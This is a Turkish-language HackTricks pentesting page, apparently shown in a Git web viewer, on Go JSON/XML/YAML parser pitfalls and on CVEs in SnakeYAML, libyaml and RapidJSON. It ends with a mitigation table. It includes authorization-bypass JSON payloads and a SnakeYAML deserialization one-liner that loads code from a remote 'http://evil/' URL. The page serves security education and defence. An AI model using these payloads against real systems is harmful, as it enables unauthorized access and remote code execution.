hacktricks/src/pentesting-web/json-xml-yaml-hacking.md

166 lines
6.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Aşağıdaki sorunlar Go JSON'da tespit edilmiştir, ancak diğer dillerde de mevcut olabilir. Bu sorunlar [**bu blog yazısında**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) yayınlanmıştır.
Gonun JSON, XML ve YAML ayrıştırıcıları, **kimlik doğrulamasını atlatmak**, **yetkileri yükseltmek** veya **hassas verileri dışa aktarmak** için kötüye kullanılabilecek uzun bir tutarsızlık ve güvensiz varsayılan ayarlar geçmişine sahiptir.
### (Un)Marshaling Beklenmeyen Veriler
Amaç, bir saldırganın hassas alanları okumak/yazmak için izin verilen yapıları istismar etmektir (örneğin, `IsAdmin`, `Password`).
- Örnek Yapı:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Yaygın Güvenlik Açıkları
1. **Eksik etiket** (etiket yok = alan varsayılan olarak hala ayrıştırılır):
```go
type User struct {
Username string
}
```
Yük:
```json
{"Username": "admin"}
```
2. **Yanlış `-` kullanımı**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Yük:
```json
{"-": true}
```
✔️ Alanın (un)marshalled olmasını engellemenin doğru yolu:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser Farklılıkları
Amaç, farklı parser'ların aynı yükü nasıl farklı yorumladığını kullanarak yetkilendirmeyi atlatmaktır, örneğin:
- CVE-2017-12635: Tekrar eden anahtarlar aracılığıyla Apache CouchDB atlatması
- 2022: XML parser tutarsızlığı aracılığıyla Zoom 0-tıklama RCE
- GitLab 2025 SAML atlatması aracılığıyla XML tuhaflıkları
**1. Tekrar Eden Alanlar:**
Go'nun `encoding/json` **son** alanı alır.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Diğer ayrıştırıcılar (örneğin, Java'nın Jackson'ı) **ilk** olanı alabilir.
**2. Büyük/Küçük Harf Duyarsızlığı:**
Go büyük/küçük harf duyarsızdır:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Unicode hileleri bile işe yarar:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Hizmetler arası uyumsuzluk:**
Hayal edin:
- Go ile yazılmış bir Proxy
- Python ile yazılmış bir AuthZ servisi
Saldırgan gönderir:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python `UserAction`'ı görür, izin verir
- Go `AdminAction`'ı görür, yürütür
### Veri Formatı Karışıklığı (Polyglots)
Amaç, formatları (JSON/XML/YAML) karıştıran veya ayrıştırıcı hatalarında açık kalan sistemleri istismar etmektir:
- **CVE-2020-16250**: HashiCorp Vault, STS'nin XML yerine JSON döndürmesinin ardından JSON'u bir XML ayrıştırıcısı ile ayrıştırdı.
Saldırganın kontrol ettiği:
- `Accept: application/json` başlığı
- JSON gövdesinin kısmi kontrolü
Go'nun XML ayrıştırıcısı **yine de** bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.
- Özel yük:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Sonuç:
- **Go JSON** ayrıştırıcı: `Action_2` (büyük/küçük harf duyarsız + son kazanan)
- **YAML** ayrıştırıcı: `Action_1` (büyük/küçük harf duyarlı)
- **XML** ayrıştırıcı: dize içindeki `"Action_3"`'ü ayrıştırır
---
## Dikkate Değer Ayrıştırıcı Güvenlik Açıkları (2023-2025)
> Aşağıdaki kamuya açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu göstermektedir — sadece bir Go problemi değildir.
### SnakeYAML Deserialization RCE (CVE-2022-1471)
* Etkileyen: `org.yaml:snakeyaml` < **2.0** (Spring-Boot, Jenkins vb. tarafından kullanılır).
* Temel neden: `new Constructor()` **rastgele Java sınıflarını** ayrıştırır, uzaktan kod yürütme ile sonuçlanan gadget zincirlerine izin verir.
* Tek satırlık PoC (savunmasız hostta hesap makinesini açar):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Düzeltme / Önleme:
1. **≥2.0'a Yükseltin** (varsayılan olarak `SafeLoader` kullanır).
2. Eski sürümlerde, açıkça `new Yaml(new SafeConstructor())` kullanın.
### libyaml Çift Serbest Bırakma (CVE-2024-35325)
* Etkiler: `libyaml` ≤0.2.5 (birçok dil bağlaması tarafından kullanılan C kütüphanesi).
* Sorun: `yaml_event_delete()` fonksiyonunun iki kez çağrılması, saldırganların DoS veya bazı senaryolarda heap istismarı yapabileceği bir çift serbest bırakmaya yol açar.
* Durum: Üst akış “API kötüye kullanımı” olarak reddetti, ancak Linux dağıtımları, işaretçiyi savunmacı bir şekilde null-serbest bırakan yamanmış **0.2.6** sürümünü gönderdi.
### RapidJSON Tam Sayı (Alt|Üst)-taşma (CVE-2024-38517 / CVE-2024-39684)
* Etkiler: Tencent **RapidJSON** `8269bc2` commit'inden önce (<1.1.0-patch-22).
* Hata: `GenericReader::ParseNumber()` içinde kontrolsüz aritmetik, saldırganların büyük sayısal literaller oluşturmasına izin verir; bu literaller sarılır ve heap'i bozar sonuçta, elde edilen nesne grafiği yetkilendirme kararları için kullanıldığında ayrıcalık yükseltmesine olanak tanır.
---
### 🔐 Önlemler (Güncellenmiş)
| Risk | Düzeltme / Öneri |
|-------------------------------------|------------------------------------------------------------|
| Bilinmeyen alanlar (JSON) | `decoder.DisallowUnknownFields()` |
| Tekrar eden alanlar (JSON) | stdlib'de düzeltme yok [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) ile doğrulayın |
| Büyük/küçük harf duyarsız eşleşme (Go) | Düzeltme yok yapı etiketlerini doğrulayın + girdi ön-canonize edin |
| XML çöp verisi / XXE | Sertleştirilmiş bir ayrıştırıcı kullanın (`encoding/xml` + `DisallowDTD`) |
| YAML bilinmeyen anahtarlar | `yaml.KnownFields(true)` |
| **Güvensiz YAML serileştirmesi** | SafeConstructor kullanın / SnakeYAML 2.0'a yükseltin |
| libyaml 0.2.5 çift serbest bırakma | **0.2.6** veya dağıtım yamanmış sürüme yükseltin |
| RapidJSON <yamanmış commit | En son RapidJSON ile derleyin (≥Temmuz 2024) |
## Referanslar
- Baeldung SnakeYAML 2.0 ile CVE-2022-1471'i Çözme
- Ubuntu Güvenlik İzleyici CVE-2024-35325 (libyaml)
{{#include ../banners/hacktricks-training.md}}